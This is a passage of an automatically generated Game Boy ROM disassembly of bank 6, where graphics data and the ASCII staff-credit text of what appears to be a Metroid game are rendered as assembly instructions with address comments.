nop ; $760c: $00
inc b ; $760d: $04
nop ; $760e: $00
nop ; $760f: $00
xor d ; $7610: $aa
nop ; $7611: $00
ld d, l ; $7612: $55
nop ; $7613: $00
xor d ; $7614: $aa
nop ; $7615: $00
ld d, l ; $7616: $55
nop ; $7617: $00
xor d ; $7618: $aa
nop ; $7619: $00
ld d, l ; $761a: $55
nop ; $761b: $00
xor d ; $761c: $aa
nop ; $761d: $00
jr_006_761e:
ld d, l ; $761e: $55
nop ; $761f: $00
ld a, $e7 ; $7620: $3e $e7
jr_006_7622:
rst $18 ; $7622: $df
add hl, sp ; $7623: $39
rst $20 ; $7624: $e7
ld e, $f9 ; $7625: $1e $f9
rlca ; $7627: $07
rst $38 ; $7628: $ff
nop ; $7629: $00
rst $38 ; $762a: $ff
nop ; $762b: $00
ld c, a ; $762c: $4f
or b ; $762d: $b0
db $fd ; $762e: $fd
and [hl] ; $762f: $a6
ccf ; $7630: $3f
ret nz ; $7631: $c0
rst $00 ; $7632: $c7
ld hl, sp-$08 ; $7633: $f8 $f8
ccf ; $7635: $3f
or $8f ; $7636: $f6 $8f
ld l, a ; $7638: $6f
di ; $7639: $f3
sbc $3f ; $763a: $de $3f
db $fd ; $763c: $fd
inc bc ; $763d: $03
rst $38 ; $763e: $ff
nop ; $763f: $00
rst $38 ; $7640: $ff
nop ; $7641: $00
jr_006_7642:
rst $38 ; $7642: $ff
nop ; $7643: $00
inc a ; $7644: $3c
jp $ff00 ; $7645: $c3 $00 $ff
nop ; $7648: $00
rst $38 ; $7649: $ff
nop ; $764a: $00
rst $38 ; $764b: $ff
add b ; $764c: $80
rst $38 ; $764d: $ff
reti ; $764e: $d9
ccf ; $764f: $3f
rst $38 ; $7650: $ff
nop ; $7651: $00
rst $38 ; $7652: $ff
nop ; $7653: $00
jr_006_7654:
add hl, bc ; $7654: $09
or $3f ; $7655: $f6 $3f
jr_006_7657:
ret nz ; $7657: $c0
ld a, a ; $7658: $7f
add b ; $7659: $80
ld a, a ; $765a: $7f
add b ; $765b: $80
ccf ; $765c: $3f
ret nz ; $765d: $c0
rst $00 ; $765e: $c7
ld hl, sp-$40 ; $765f: $f8 $c0
jr c, jr_006_7657 ; $7661: $38 $f4
inc c ; $7663: $0c
db $fd ; $7664: $fd
inc bc ; $7665: $03
rst $20 ; $7666: $e7
jr jr_006_7642 ; $7667: $18 $d9
ld a, $b4 ; $7669: $3e $b4
ld a, e ; $766b: $7b
ld l, l ; $766c: $6d
di ; $766d: $f3
ld e, e ; $766e: $5b
rst $20 ; $766f: $e7
dec bc ; $7670: $0b
jr c, jr_006_7686 ; $7671: $38 $13
ld [hl], b ; $7673: $70
jr_006_7674:
ld de, $c8f1 ; $7674: $11 $f1 $c8
ld hl, sp-$10 ; $7677: $f8 $f0
inc a ; $7679: $3c
db $fd ; $767a: $fd
adc a ; $767b: $8f
sbc [hl] ; $767c: $9e
db $e3 ; $767d: $e3
rst $18 ; $767e: $df
jr c, jr_006_76b9 ; $767f: $38 $38
ccf ; $7681: $3f
rlca ; $7682: $07
rlca ; $7683: $07
add b ; $7684: $80
nop ; $7685: $00
jr_006_7686:
nop ; $7686: $00
nop ; $7687: $00
nop ; $7688: $00
nop ; $7689: $00
nop ; $768a: $00
nop ; $768b: $00
ld b, e ; $768c: $43
jp nz, $f090 ; $768d: $c2 $90 $f0
inc e ; $7690: $1c
db $fc ; $7691: $fc
ldh [$e0], a ; $7692: $e0 $e0
ld bc, $0000 ; $7694: $01 $00 $00
nop ; $7697: $00
nop ; $7698: $00
nop ; $7699: $00
nop ; $769a: $00
nop ; $769b: $00
jp nz, $0943 ; $769c: $c2 $43 $09
rrca ; $769f: $0f
ret nc ; $76a0: $d0
inc e ; $76a1: $1c
ret z ; $76a2: $c8
ld c, $88 ; $76a3: $0e $88
adc a ; $76a5: $8f
inc de ; $76a6: $13
rra ; $76a7: $1f
rrca ; $76a8: $0f
inc a ; $76a9: $3c
cp a ; $76aa: $bf
pop af ; $76ab: $f1
ld a, c ; $76ac: $79
rst $00 ; $76ad: $c7
ei ; $76ae: $fb
inc e ; $76af: $1c
inc bc ; $76b0: $03
inc e ; $76b1: $1c
cpl ; $76b2: $2f
jr nc, jr_006_7674 ; $76b3: $30 $bf
ret nz ; $76b5: $c0
rst $20 ; $76b6: $e7
jr jr_006_7654 ; $76b7: $18 $9b
jr_006_76b9:
ld a, h ; $76b9: $7c
dec l ; $76ba: $2d
sbc $b6 ; $76bb: $de $b6
rst $08 ; $76bd: $cf
jp c, $ffe7 ; $76be: $da $e7 $ff
nop ; $76c1: $00
rst $38 ; $76c2: $ff
nop ; $76c3: $00
sub b ; $76c4: $90
ld l, a ; $76c5: $6f
db $fc ; $76c6: $fc
inc bc ; $76c7: $03
cp $01 ; $76c8: $fe $01
cp $01 ; $76ca: $fe $01
db $fc ; $76cc: $fc
inc bc ; $76cd: $03
db $e3 ; $76ce: $e3
rra ; $76cf: $1f
rst $38 ; $76d0: $ff
nop ; $76d1: $00
rst $38 ; $76d2: $ff
nop ; $76d3: $00
inc a ; $76d4: $3c
jp $ff00 ; $76d5: $c3 $00 $ff
nop ; $76d8: $00
rst $38 ; $76d9: $ff
nop ; $76da: $00
rst $38 ; $76db: $ff
ld bc, $9bff ; $76dc: $01 $ff $9b
db $fc ; $76df: $fc
db $fc ; $76e0: $fc
inc bc ; $76e1: $03
db $e3 ; $76e2: $e3
rra ; $76e3: $1f
rra ; $76e4: $1f
db $fc ; $76e5: $fc
ld l, a ; $76e6: $6f
pop af ; $76e7: $f1
or $cf ; $76e8: $f6 $cf
ld a, e ; $76ea: $7b
db $fc ; $76eb: $fc
cp a ; $76ec: $bf
ret nz ; $76ed: $c0
rst $38 ; $76ee: $ff
nop ; $76ef: $00
ld a, h ; $76f0: $7c
rst $20 ; $76f1: $e7
ei ; $76f2: $fb
sbc h ; $76f3: $9c
rst $20 ; $76f4: $e7
ld a, b ; $76f5: $78
sbc a ; $76f6: $9f
ldh [rIE], a ; $76f7: $e0 $ff
nop ; $76f9: $00
rst $38 ; $76fa: $ff
nop ; $76fb: $00
ld a, [c] ; $76fc: $f2
dec c ; $76fd: $0d
cp a ; $76fe: $bf
ld h, l ; $76ff: $65
cp e ; $7700: $bb
ld e, h ; $7701: $5c
rst $18 ; $7702: $df
ld [hl], c ; $7703: $71
ld l, e ; $7704: $6b
rst $10 ; $7705: $d7
rst $38 ; $7706: $ff
nop ; $7707: $00
rst $38 ; $7708: $ff
nop ; $7709: $00
rst $38 ; $770a: $ff
rst $38 ; $770b: $ff
rst $38 ; $770c: $ff
rst $38 ; $770d: $ff
ei ; $770e: $fb
rlca ; $770f: $07
rst $38 ; $7710: $ff
nop ; $7711: $00
rst $38 ; $7712: $ff
ld h, b ; $7713: $60
rst $28 ; $7714: $ef
ld e, h ; $7715: $5c
rst $38 ; $7716: $ff
nop ; $7717: $00
ei ; $7718: $fb
rlca ; $7719: $07
rst $38 ; $771a: $ff
rst $38 ; $771b: $ff
rst $38 ; $771c: $ff
db $fd ; $771d: $fd
rst $38 ; $771e: $ff
rst $38 ; $771f: $ff
ldh a, [$3f] ; $7720: $f0 $3f
rst $38 ; $7722: $ff
rrca ; $7723: $0f
rst $38 ; $7724: $ff
nop ; $7725: $00
rst $38 ; $7726: $ff
nop ; $7727: $00
jr_006_7728:
rst $38 ; $7728: $ff
rst $38 ; $7729: $ff
rst $38 ; $772a: $ff
rst $38 ; $772b: $ff
rst $18 ; $772c: $df
xor h ; $772d: $ac
rst $38 ; $772e: $ff
rst $38 ; $772f: $ff
rst $30 ; $7730: $f7
ld c, $17 ; $7731: $0e $17
db $ec ; $7733: $ec
rst $38 ; $7734: $ff
ldh a, [$fc] ; $7735: $f0 $fc
rrca ; $7737: $0f
cp a ; $7738: $bf
ret nz ; $7739: $c0
cp $ff ; $773a: $fe $ff
rst $38 ; $773c: $ff
rst $38 ; $773d: $ff
jr_006_773e:
rst $38 ; $773e: $ff
ld sp, hl ; $773f: $f9
or e ; $7740: $b3
ld a, h ; $7741: $7c
ld a, e ; $7742: $7b
rst $20 ; $7743: $e7
db $76 ; $7744: $76
rst $08 ; $7745: $cf
db $ec ; $7746: $ec
rra ; $7747: $1f
db $fd ; $7748: $fd
add d ; $7749: $82
rst $38 ; $774a: $ff
nop ; $774b: $00
sbc $e1 ; $774c: $de $e1
db $fd ; $774e: $fd
cp $e3 ; $774f: $fe $e3
ccf ; $7751: $3f
db $fc ; $7752: $fc
rrca ; $7753: $0f
ld a, a ; $7754: $7f
add e ; $7755: $83
ld a, $c1 ; $7756: $3e $c1
sbc a ; $7758: $9f
ld h, b ; $7759: $60
xor $11 ; $775a: $ee $11
ld a, a ; $775c: $7f
add b ; $775d: $80
rst $20 ; $775e: $e7
jr jr_006_7728 ; $775f: $18 $c7
db $fc ; $7761: $fc
ccf ; $7762: $3f
ldh a, [$fe] ; $7763: $f0 $fe
pop bc ; $7765: $c1
ld a, h ; $7766: $7c
add e ; $7767: $83
ld a, c ; $7768: $79
add [hl] ; $7769: $86
rst $30 ; $776a: $f7
ld [$817e], sp ; $776b: $08 $7e $81
rst $20 ; $776e: $e7
jr jr_006_773e ; $776f: $18 $cd
ld a, $de ; $7771: $3e $de
rst $20 ; $7773: $e7
ld l, [hl] ; $7774: $6e
di ; $7775: $f3
scf ; $7776: $37
ld hl, sp-$41 ; $7777: $f8 $bf
ld b, c ; $7779: $41
rst $38 ; $777a: $ff
nop ; $777b: $00
ld a, e ; $777c: $7b
add a ; $777d: $87
cp a ; $777e: $bf
ld a, a ; $777f: $7f
rst $28 ; $7780: $ef
ld [hl], b ; $7781: $70
jr_006_7782:
add sp, $37 ; $7782: $e8 $37
rst $38 ; $7784: $ff
rrca ; $7785: $0f
ccf ; $7786: $3f
ldh a, [$fd] ; $7787: $f0 $fd
inc bc ; $7789: $03
ld a, a ; $778a: $7f
rst $38 ; $778b: $ff
rst $38 ; $778c: $ff
rst $38 ; $778d: $ff
rst $38 ; $778e: $ff
sbc a ; $778f: $9f
rrca ; $7790: $0f
db $fc ; $7791: $fc
rst $38 ; $7792: $ff
ldh a, [rIE] ; $7793: $f0 $ff
nop ; $7795: $00
rst $38 ; $7796: $ff
nop ; $7797: $00
rst $38 ; $7798: $ff
rst $38 ; $7799: $ff
rst $38 ; $779a: $ff
rst $38 ; $779b: $ff
ei ; $779c: $fb
dec [hl] ; $779d: $35
rst $38 ; $779e: $ff
rst $38 ; $779f: $ff
rst $38 ; $77a0: $ff
nop ; $77a1: $00
rst $38 ; $77a2: $ff
ld b, $f7 ; $77a3: $06 $f7
ld a, [hl-] ; $77a5: $3a
rst $38 ; $77a6: $ff
nop ; $77a7: $00
rst $18 ; $77a8: $df
ldh [rIE], a ; $77a9: $e0 $ff
rst $38 ; $77ab: $ff
rst $38 ; $77ac: $ff
cp a ; $77ad: $bf
rst $38 ; $77ae: $ff
rst $38 ; $77af: $ff
db $dd ; $77b0: $dd
ld a, [hl-] ; $77b1: $3a
ei ; $77b2: $fb
adc [hl] ; $77b3: $8e
sub $eb ; $77b4: $d6 $eb
rst $38 ; $77b6: $ff
nop ; $77b7: $00
rst $38 ; $77b8: $ff
nop ; $77b9: $00
rst $38 ; $77ba: $ff
rst $38 ; $77bb: $ff
rst $38 ; $77bc: $ff
rst $38 ; $77bd: $ff
rst $18 ; $77be: $df
ldh [$f1], a ; $77bf: $e0 $f1
rra ; $77c1: $1f
ld a, [$f00e] ; $77c2: $fa $0e $f0
inc b ; $77c5: $04
db $fd ; $77c6: $fd
inc b ; $77c7: $04
ld a, [$fd06] ; $77c8: $fa $06 $fd
inc bc ; $77cb: $03
jr_006_77cc:
cp $01 ; $77cc: $fe $01
rst $38 ; $77ce: $ff
nop ; $77cf: $00
jr nc, jr_006_7782 ; $77d0: $30 $b0
nop ; $77d2: $00
ret nz ; $77d3: $c0
db $10 ; $77d4: $10
ld [hl], b ; $77d5: $70
jr_006_77d6:
add h ; $77d6: $84
cp h ; $77d7: $bc
ld [de], a ; $77d8: $12
ld e, $08 ; $77d9: $1e $08
ld c, $80 ; $77db: $0e $80
add [hl] ; $77dd: $86
jr nz, jr_006_77cc ; $77de: $20 $ec
rra ; $77e0: $1f
xor $47 ; $77e1: $ee $47
ld a, d ; $77e3: $7a
inc de ; $77e4: $13
rra ; $77e5: $1f
add hl, bc ; $77e6: $09
jr_006_77e7:
rrca ; $77e7: $0f
ld hl, $2007 ; $77e8: $21 $07 $20
rlca ; $77eb: $07
ld b, d ; $77ec: $42
ld c, $04 ; $77ed: $0e $04
inc e ; $77ef: $1c
ld hl, sp+$77 ; $77f0: $f8 $77
ld [c], a ; $77f2: $e2
ld e, [hl] ; $77f3: $5e
ret z ; $77f4: $c8
ld hl, sp-$70 ; $77f5: $f8 $90
ldh a, [$84] ; $77f7: $f0 $84
ldh [rDIV], a ; $77f9: $e0 $04
ldh [rSCY], a ; $77fb: $e0 $42
ld [hl], b ; $77fd: $70
jr nz, jr_006_7838 ; $77fe: $20 $38
inc c ; $7800: $0c
dec c ; $7801: $0d
nop ; $7802: $00
inc bc ; $7803: $03
ld [$210e], sp ; $7804: $08 $0e $21
dec a ; $7807: $3d
ld c, b ; $7808: $48
ld a, b ; $7809: $78
db $10 ; $780a: $10
ld [hl], b ; $780b: $70
ld bc, $0461 ; $780c: $01 $61 $04
scf ; $780f: $37
adc a ; $7810: $8f
ld hl, sp+$5f ; $7811: $f8 $5f
ld [hl], b ; $7813: $70
rrca ; $7814: $0f
jr nz, jr_006_77d6 ; $7815: $20 $bf
jr nz, jr_006_7878 ; $7817: $20 $5f
ld h, b ; $7819: $60
cp a ; $781a: $bf
ret nz ; $781b: $c0
ld a, a ; $781c: $7f
add b ; $781d: $80
rst $38 ; $781e: $ff
nop ; $781f: $00
nop ; $7820: $00
nop ; $7821: $00
rst $38 ; $7822: $ff
rst $38 ; $7823: $ff
nop ; $7824: $00
rst $38 ; $7825: $ff
rst $38 ; $7826: $ff
rst $38 ; $7827: $ff
nop ; $7828: $00
rst $38 ; $7829: $ff
rst $38 ; $782a: $ff
rst $38 ; $782b: $ff
nop ; $782c: $00
rst $38 ; $782d: $ff
ld a, [hl] ; $782e: $7e
rst $38 ; $782f: $ff
rst $38 ; $7830: $ff
nop ; $7831: $00
rst $38 ; $7832: $ff
nop ; $7833: $00
rst $38 ; $7834: $ff
nop ; $7835: $00
rst $38 ; $7836: $ff
nop ; $7837: $00
jr_006_7838:
rst $38 ; $7838: $ff
nop ; $7839: $00
rst $38 ; $783a: $ff
nop ; $783b: $00
rst $38 ; $783c: $ff
nop ; $783d: $00
rst $38 ; $783e: $ff
nop ; $783f: $00
ld a, $7e ; $7840: $3e $7e
ld [$0818], sp ; $7842: $08 $18 $08
jr jr_006_784f ; $7845: $18 $08
jr jr_006_7851 ; $7847: $18 $08
jr jr_006_7853 ; $7849: $18 $08
jr jr_006_7855 ; $784b: $18 $08
jr jr_006_7867 ; $784d: $18 $18
jr_006_784f:
jr @+$01 ; $784f: $18 $ff
jr_006_7851:
xor d ; $7851: $aa
rst $38 ; $7852: $ff
jr_006_7853:
xor d ; $7853: $aa
rst $38 ; $7854: $ff
jr_006_7855:
xor d ; $7855: $aa
rst $38 ; $7856: $ff
xor d ; $7857: $aa
rst $38 ; $7858: $ff
xor d ; $7859: $aa
rst $38 ; $785a: $ff
xor d ; $785b: $aa
rst $38 ; $785c: $ff
xor d ; $785d: $aa
rst $38 ; $785e: $ff
xor d ; $785f: $aa
stop ; $7860: $10 $00
ld [de], a ; $7862: $12
jr c, jr_006_77e7 ; $7863: $38 $82
sub a ; $7865: $97
ld d, b ; $7866: $50
jr_006_7867:
ld [de], a ; $7867: $12
ld d, d ; $7868: $52
ld a, [c] ; $7869: $f2
jr_006_786a:
dec d ; $786a: $15
ld d, l ; $786b: $55
adc l ; $786c: $8d
adc l ; $786d: $8d
adc c ; $786e: $89
adc c ; $786f: $89
ld c, d ; $7870: $4a
ld c, d ; $7871: $4a
ld a, [hl+] ; $7872: $2a
ld a, [hl+] ; $7873: $2a
ld [hl-], a ; $7874: $32
ld [hl-], a ; $7875: $32
ld d, c ; $7876: $51
ld d, c ; $7877: $51
jr_006_7878:
ld d, c ; $7878: $51
ld d, c ; $7879: $51
adc c ; $787a: $89
adc c ; $787b: $89
adc d ; $787c: $8a
adc d ; $787d: $8a
ld c, d ; $787e: $4a
ld c, d ; $787f: $4a
rst $38 ; $7880: $ff
nop ; $7881: $00
rst $38 ; $7882: $ff
nop ; $7883: $00
rst $38 ; $7884: $ff
nop ; $7885: $00
rst $38 ; $7886: $ff
nop ; $7887: $00
rst $38 ; $7888: $ff
ret nz ; $7889: $c0
ld a, a ; $788a: $7f
or b ; $788b: $b0
rra ; $788c: $1f
db $ec ; $788d: $ec
ld b, a ; $788e: $47
ld a, e ; $788f: $7b
rst $38 ; $7890: $ff
add b ; $7891: $80
ld a, a ; $7892: $7f
add b ; $7893: $80
rst $38 ; $7894: $ff
add b ; $7895: $80
rst $38 ; $7896: $ff
add b ; $7897: $80
rst $38 ; $7898: $ff
add e ; $7899: $83
cp $8d ; $789a: $fe $8d
ld hl, sp-$49 ; $789c: $f8 $b7
ld [c], a ; $789e: $e2
sbc $fe ; $789f: $de $fe
ld bc, $06f9 ; $78a1: $01 $f9 $06
rst $30 ; $78a4: $f7
ld [$10ef], sp ; $78a5: $08 $ef $10
rst $18 ; $78a8: $df
jr nz, jr_006_786a ; $78a9: $20 $bf
ld b, b ; $78ab: $40
cp a ; $78ac: $bf
ld b, b ; $78ad: $40
ld a, a ; $78ae: $7f
add b ; $78af: $80
cp a ; $78b0: $bf
jp nz, Jump_006_72cf ; $78b1: $c2 $cf $72
or $19 ; $78b4: $f6 $19
ei ; $78b6: $fb
dec c ; $78b7: $0d
cp $05 ; $78b8: $fe $05
db $fd ; $78ba: $fd
ld [bc], a ; $78bb: $02
cp $03 ; $78bc: $fe $03
cp $00 ; $78be: $fe $00
rst $30 ; $78c0: $f7
ld [$1ce3], sp ; $78c1: $08 $e3 $1c
rst $38 ; $78c4: $ff
nop ; $78c5: $00
db $e3 ; $78c6: $e3
inc e ; $78c7: $1c
rst $38 ; $78c8: $ff
add b ; $78c9: $80
cp $c1 ; $78ca: $fe $c1
cp l ; $78cc: $bd
ld h, e ; $78cd: $63
ld sp, hl ; $78ce: $f9
ld e, $f6 ; $78cf: $1e $f6
adc e ; $78d1: $8b
rst $30 ; $78d2: $f7
adc d ; $78d3: $8a
ld [hl], l ; $78d4: $75
adc d ; $78d5: $8a
ld [hl], a ; $78d6: $77
adc d ; $78d7: $8a
rst $38 ; $78d8: $ff
adc d ; $78d9: $8a
ld a, a ; $78da: $7f
add h ; $78db: $84
rst $38 ; $78dc: $ff
inc b ; $78dd: $04
ei ; $78de: $fb
add h ; $78df: $84
ld l, l ; $78e0: $6d
rst $38 ; $78e1: $ff
rst $38 ; $78e2: $ff
add b ; $78e3: $80
ccf ; $78e4: $3f
ret nz ; $78e5: $c0
sub l ; $78e6: $95
ld a, [hl] ; $78e7: $7e
db $fd ; $78e8: $fd
inc bc ; $78e9: $03
rst $38 ; $78ea: $ff
ld [bc], a ; $78eb: $02
ld a, [$fd07] ; $78ec: $fa $07 $fd
rra ; $78ef: $1f
sbc h ; $78f0: $9c
ld h, e ; $78f1: $63
rst $38 ; $78f2: $ff
nop ; $78f3: $00
rst $38 ; $78f4: $ff
nop ; $78f5: $00
rst $38 ; $78f6: $ff
nop ; $78f7: $00
ld a, a ; $78f8: $7f
add b ; $78f9: $80
or h ; $78fa: $b4
ld a, a ; $78fb: $7f
rst $18 ; $78fc: $df
ld hl, $a05f ; $78fd: $21 $5f $a0
inc e ; $7900: $1c
db $e3 ; $7901: $e3
ld a, a ; $7902: $7f
add b ; $7903: $80
ld a, a ; $7904: $7f
add b ; $7905: $80
ld a, a ; $7906: $7f
add b ; $7907: $80
cp $01 ; $7908: $fe $01
dec l ; $790a: $2d
cp $fb ; $790b: $fe $fb
add h ; $790d: $84
ld a, d ; $790e: $7a
add l ; $790f: $85
or [hl] ; $7910: $b6
ld a, a ; $7911: $7f
rst $38 ; $7912: $ff
ld bc, $03fc ; $7913: $01 $fc $03
xor c ; $7916: $a9
ld a, [hl] ; $7917: $7e
cp a ; $7918: $bf
ret nz ; $7919: $c0
rst $38 ; $791a: $ff
ld b, b ; $791b: $40
ld e, a ; $791c: $5f
ldh [$bf], a ; $791d: $e0 $bf
ld hl, sp-$0f ; $791f: $f8 $f1
pop af ; $7921: $f1
pop af ; $7922: $f1
pop af ; $7923: $f1
pop af ; $7924: $f1
pop af ; $7925: $f1
pop af ; $7926: $f1
pop af ; $7927: $f1
pop af ; $7928: $f1
pop af ; $7929: $f1
pop af ; $792a: $f1
jr nz, jr_006_794d ; $792b: $20 $20
jr nz, @+$22 ; $792d: $20 $20
jr nz, jr_006_7951 ; $792f: $20 $20
jr nz, @+$55 ; $7931: $20 $53
ld d, h ; $7933: $54
ld b, c ; $7934: $41
ld b, [hl] ; $7935: $46
ld b, [hl] ; $7936: $46
jr nz, jr_006_7959 ; $7937: $20 $20
jr nz, jr_006_795b ; $7939: $20 $20
jr nz, jr_006_795d ; $793b: $20 $20
jr nz, jr_006_795f ; $793d: $20 $20
pop af ; $793f: $f1
pop af ; $7940: $f1
pop af ; $7941: $f1
pop af ; $7942: $f1
pop af ; $7943: $f1
pop af ; $7944: $f1
pop af ; $7945: $f1
jr nz, jr_006_79a6 ; $7946: $20 $5e
ld e, [hl] ; $7948: $5e
jr nz, jr_006_799f ; $7949: $20 $54
ld b, l ; $794b: $45
jr_006_794c:
ld b, c ; $794c: $41
jr_006_794d:
ld c, l ; $794d: $4d
jr nz, jr_006_799d ; $794e: $20 $4d
ld b, l ; $7950: $45
jr_006_7951:
ld d, h ; $7951: $54
ld d, d ; $7952: $52
ld c, a ; $7953: $4f
ld c, c ; $7954: $49
ld b, h ; $7955: $44
jr nz, jr_006_79b6 ; $7956: $20 $5e
ld e, [hl] ; $7958: $5e
jr_006_7959:
jr nz, jr_006_794c ; $7959: $20 $f1
jr_006_795b:
pop af ; $795b: $f1
pop af ; $795c: $f1
jr_006_795d:
pop af ; $795d: $f1
pop af ; $795e: $f1
jr_006_795f:
jr nz, jr_006_79b1 ; $795f: $20 $50
ld d, d ; $7961: $52
ld c, a ; $7962: $4f
ld b, h ; $7963: $44
ld d, l ; $7964: $55
jr_006_7965:
ld b, e ; $7965: $43
ld b, l ; $7966: $45
ld d, d ; $7967: $52
jr nz, jr_006_798a ; $7968: $20 $20
jr nz, jr_006_798c ; $796a: $20 $20
jr nz, jr_006_798e ; $796c: $20 $20
jr nz, jr_006_7990 ; $796e: $20 $20
jr nz, jr_006_7992 ; $7970: $20 $20
jr nz, jr_006_7965 ; $7972: $20 $f1
pop af ; $7974: $f1
jr nz, jr_006_7997 ; $7975: $20 $20
ld b, a ; $7977: $47
ld d, l ; $7978: $55
ld c, [hl] ; $7979: $4e
ld d, b ; $797a: $50
ld b, l ; $797b: $45
ld c, c ; $797c: $49
jr nz, @+$5b ; $797d: $20 $59
ld c, a ; $797f: $4f
ld c, e ; $7980: $4b
ld c, a ; $7981: $4f
ld c, c ; $7982: $49
jr nz, jr_006_79a5 ; $7983: $20 $20
jr nz, @+$22 ; $7985: $20 $20
jr nz, jr_006_79a9 ; $7987: $20 $20
pop af ; $7989: $f1
jr_006_798a:
pop af ; $798a: $f1
pop af ; $798b: $f1
jr_006_798c:
pop af ; $798c: $f1
pop af ; $798d: $f1
jr_006_798e:
pop af ; $798e: $f1
pop af ; $798f: $f1
jr_006_7990:
jr nz, jr_006_79d6 ; $7990: $20 $44
jr_006_7992:
ld c, c ; $7992: $49
ld d, d ; $7993: $52
ld b, l ; $7994: $45
ld b, e ; $7995: $43
jr_006_7996:
ld d, h ; $7996: $54
jr_006_7997:
ld c, a ; $7997: $4f
ld d, d ; $7998: $52
jr nz, jr_006_79bb ; $7999: $20 $20
jr nz, @+$22 ; $799b: $20 $20
jr_006_799d:
jr nz, jr_006_79bf ; $799d: $20 $20
jr_006_799f:
jr nz, jr_006_79c1 ; $799f: $20 $20
jr nz, jr_006_79c3 ; $79a1: $20 $20
jr nz, jr_006_7996 ; $79a3: $20 $f1
jr_006_79a5:
pop af ; $79a5: $f1
jr_006_79a6:
jr nz, jr_006_79c8 ; $79a6: $20 $20
ld c, b ; $79a8: $48
jr_006_79a9:
ld c, c ; $79a9: $49
ld d, d ; $79aa: $52
ld c, a ; $79ab: $4f
jr_006_79ac:
ld c, d ; $79ac: $4a
ld c, c ; $79ad: $49
jr nz, jr_006_79fb ; $79ae: $20 $4b
ld c, c ; $79b0: $49
jr_006_79b1:
ld e, c ; $79b1: $59
ld c, a ; $79b2: $4f
ld d, h ; $79b3: $54
ld b, c ; $79b4: $41
ld c, e ; $79b5: $4b
jr_006_79b6:
ld b, l ; $79b6: $45
jr nz, jr_006_79d9 ; $79b7: $20 $20
jr nz, jr_006_79ac ; $79b9: $20 $f1
jr_006_79bb:
pop af ; $79bb: $f1
jr nz, jr_006_79de ; $79bc: $20 $20
ld c, b ; $79be: $48
jr_006_79bf:
ld c, c ; $79bf: $49
ld d, d ; $79c0: $52
jr_006_79c1:
ld c, a ; $79c1: $4f
jr_006_79c2:
ld e, c ; $79c2: $59
jr_006_79c3:
ld d, l ; $79c3: $55
ld c, e ; $79c4: $4b
ld c, c ; $79c5: $49
jr nz, jr_006_7a13 ; $79c6: $20 $4b
jr_006_79c8:
ld c, c ; $79c8: $49
ld c, l ; $79c9: $4d
ld d, l ; $79ca: $55
ld d, d ; $79cb: $52
ld b, c ; $79cc: $41
jr nz, jr_006_79ef ; $79cd: $20 $20
jr nz, jr_006_79c2 ; $79cf: $20 $f1
pop af ; $79d1: $f1
pop af ; $79d2: $f1
pop af ; $79d3: $f1
pop af ; $79d4: $f1
pop af ; $79d5: $f1
jr_006_79d6:
pop af ; $79d6: $f1
jr nz, jr_006_7a26 ; $79d7: $20 $4d
jr_006_79d9:
ld b, c ; $79d9: $41
ld c, c ; $79da: $49
ld c, [hl] ; $79db: $4e
jr nz, jr_006_7a2e ; $79dc: $20 $50
jr_006_79de:
ld d, d ; $79de: $52
ld c, a ; $79df: $4f
ld b, a ; $79e0: $47
ld d, d ; $79e1: $52
ld b, c ; $79e2: $41
ld c, l ; $79e3: $4d
ld c, l ; $79e4: $4d
ld b, l ; $79e5: $45
ld d, d ; $79e6: $52
jr nz, @+$22 ; $79e7: $20 $20
jr nz, jr_006_7a0b ; $79e9: $20 $20
pop af ; $79eb: $f1
pop af ; $79ec: $f1
jr nz, jr_006_7a0f ; $79ed: $20 $20
jr_006_79ef:
ld d, h ; $79ef: $54
ld b, c ; $79f0: $41
ld c, e ; $79f1: $4b
ld b, c ; $79f2: $41
jr_006_79f3:
ld c, b ; $79f3: $48
ld c, c ; $79f4: $49
ld d, d ; $79f5: $52
ld c, a ; $79f6: $4f
jr nz, jr_006_7a41 ; $79f7: $20 $48
ld b, c ; $79f9: $41
ld d, d ; $79fa: $52
jr_006_79fb:
ld b, c ; $79fb: $41
ld b, h ; $79fc: $44
ld b, c ; $79fd: $41
jr nz, jr_006_7a20 ; $79fe: $20 $20
jr nz, jr_006_79f3 ; $7a00: $20 $f1
pop af ; $7a02: $f1
pop af ; $7a03: $f1
pop af ; $7a04: $f1
pop af ; $7a05: $f1
pop af ; $7a06: $f1
pop af ; $7a07: $f1
jr nz, @+$52 ; $7a08: $20 $50
ld d, d ; $7a0a: $52
jr_006_7a0b:
ld c, a ; $7a0b: $4f
ld b, a ; $7a0c: $47
ld d, d ; $7a0d: $52
jr_006_7a0e:
ld b, c ; $7a0e: $41
jr_006_7a0f:
ld c, l ; $7a0f: $4d
ld c, l ; $7a10: $4d
ld b, l ; $7a11: $45
ld d, d ; $7a12: $52
jr_006_7a13:
jr nz, jr_006_7a35 ; $7a13: $20 $20
jr nz, jr_006_7a37 ; $7a15: $20 $20
jr nz, jr_006_7a39 ; $7a17: $20 $20
jr nz, @+$22 ; $7a19: $20 $20
jr nz, jr_006_7a0e ; $7a1b: $20 $f1
pop af ; $7a1d: $f1
jr nz, jr_006_7a40 ; $7a1e: $20 $20
jr_006_7a20:
ld c, l ; $7a20: $4d
ld b, c ; $7a21: $41
ld d, e ; $7a22: $53
ld b, c ; $7a23: $41
jr_006_7a24:
ld d, d ; $7a24: $52
ld d, l ; $7a25: $55
jr_006_7a26:
jr nz, @+$5b ; $7a26: $20 $59
ld b, c ; $7a28: $41
ld c, l ; $7a29: $4d
ld b, c ; $7a2a: $41
ld c, [hl] ; $7a2b: $4e
ld b, c ; $7a2c: $41
ld c, e ; $7a2d: $4b
jr_006_7a2e:
ld b, c ; $7a2e: $41
jr nz, jr_006_7a51 ; $7a2f: $20 $20
jr nz, jr_006_7a24 ; $7a31: $20 $f1
jr nz, jr_006_7a55 ; $7a33: $20 $20
jr_006_7a35:
ld c, l ; $7a35: $4d
ld b, c ; $7a36: $41
jr_006_7a37:
ld d, e ; $7a37: $53
ld b, c ; $7a38: $41
jr_006_7a39:
ld c, a ; $7a39: $4f
jr nz, jr_006_7a95 ; $7a3a: $20 $59
ld b, c ; $7a3c: $41
ld c, l ; $7a3d: $4d
ld b, c ; $7a3e: $41
ld c, l ; $7a3f: $4d
jr_006_7a40:
ld c, a ; $7a40: $4f
jr_006_7a41:
ld d, h ; $7a41: $54
ld c, a ; $7a42: $4f
jr nz, jr_006_7a65 ; $7a43: $20 $20
jr nz, jr_006_7a67 ; $7a45: $20 $20
pop af ; $7a47: $f1
jr nz, jr_006_7a6a ; $7a48: $20 $20
ld c, c ; $7a4a: $49
ld d, e ; $7a4b: $53
ld b, c ; $7a4c: $41
ld c, a ; $7a4d: $4f
